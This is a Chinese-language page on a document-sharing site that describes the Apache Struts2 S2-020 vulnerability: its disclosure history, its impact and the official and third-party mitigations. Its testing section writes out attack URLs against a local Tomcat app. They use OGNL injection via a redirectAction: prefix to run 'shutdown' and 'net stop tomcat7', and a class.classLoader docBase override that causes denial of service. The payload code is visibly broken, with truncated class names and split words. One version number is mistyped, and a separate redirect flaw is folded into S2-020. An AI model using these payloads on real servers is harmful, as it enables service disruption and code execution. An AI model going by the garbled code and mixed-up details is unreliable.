当前位置:文档之家› Struts2S2-020漏洞介绍

Struts2S2-020漏洞介绍

Struts2 S2-020漏洞简介
1.漏洞概述
今年二月初,Apache Tomcat项目组委员会成员Mark Thomas提到CVE-2014-0050漏洞本是通过JPCERT上报给Apache软件基金会,但是由于处理邮件失误,导致漏洞细节泄露,使得这个问题提前曝光。

随后在三月,Apache 官方公布了S2-020漏洞公告,公告里简要描述了该漏洞形成的原因和临时解决方案。

在官方这个通告公布的一段时间后,各大厂商已经采取了相应的安全措施去解决或预防这个漏洞。

但在不久之后,在SecurityFocus、Spiderlabs等安全网站上又披露了CVE-2014-0094漏洞修补方案本身存在漏洞,导致补丁被完全绕过,造成更大的危害。

近日,官方在GitHub上已经对该问题做出了修正,但随后发现该修正方案也可绕过。

2.漏洞危害
官方在S2-020漏洞公告里介绍了两种漏洞(CVE-2014-0050、CVE-2014-0094):一是通过Commons-fileupload造成的拒绝服务攻击;另一个是附加的ParametersInterceptor允许访问'class' 参数(该参数直接映射到getClass()函数),并允许控制ClassLoader。

例如,给当前应用目录赋值地址映射目录是攻击者可控的目录时,攻击者便可轻易地执行预先设置好的代码;另一个危害是给当前应用目录赋值一个不存在的地址(class.classLoader.resources.dirContext.docBase=不存在路径)会导致应用404,这样当前应用,以后不管访问哪个地址都是404了(因为映射的目录不存在),造成DoS效果。

近日安全研究人员发现Apache Struts2 S2-020,在CVE-2014-0094的漏洞修补方案中存在漏洞,漏洞补丁存在被绕过的风险,可能导致执行任意代码。

3.解决方案
官方解决方案:升级struts版本到2.3.16.1。

如果Struts不能升级到2.13.16.1版本,官方建议升级Commons FileUpload到1.3.1版本(避免Dos攻击),然后
在ParametersInterceptor排除'class' 参数(将'^class\.*'添加到excludeParams
列表内)。

第三方解决方案:由于官方给出的解决方案可被绕过,国内知名安全专家给出了临时解决方案。

修改struts源码中的struts-default.xml,替换源代码里所有
的^dojo\..*为(.*\.|^)class\..*,.*'class'.*,(.*\.|^)class\[.*,^dojo\..*。

4.漏洞测试
漏洞描述:
Upgrade Commons FileUpload to version 1.3.1 (avoids DoS attacks) and adds
'class' to exclude params in ParametersInterceptor (avoid ClassLoader manipulation) 。

Struts 2.0.0没有有效过滤"redirect:"/"redirectAction:"参数前缀内容,存在多个开放重定向漏洞,攻击者通过构建特制的URI并诱使用户点击,利用这些漏洞将这些用户重定向到攻击者控制的站点,执行钓鱼攻击。

执行dos攻击一:
http://localhost:8080/Test/save.action?redirectAction:%25{(new+ng.ProcessBuilder(ne w+ng.String[]{'shutdown','-s','-t','2'})).start()}
执行dos攻击二:
http://localhost:8080/Test/save.action?redirectAction:%25{(new+ng.ProcessBuilder(ne w+ng.String[]{'net','stop','tomcat7'})).start()}
Struts2 Tomcat class.classLoader.resources.dirContext.docBase赋值造成的DoS
及远程代码执行利用。

执行class参数调用服务器getClass()攻击三:
http://localhost:8080/Test/save.action?class.classLoader.resources.dirContext.docBase=path。

相关主题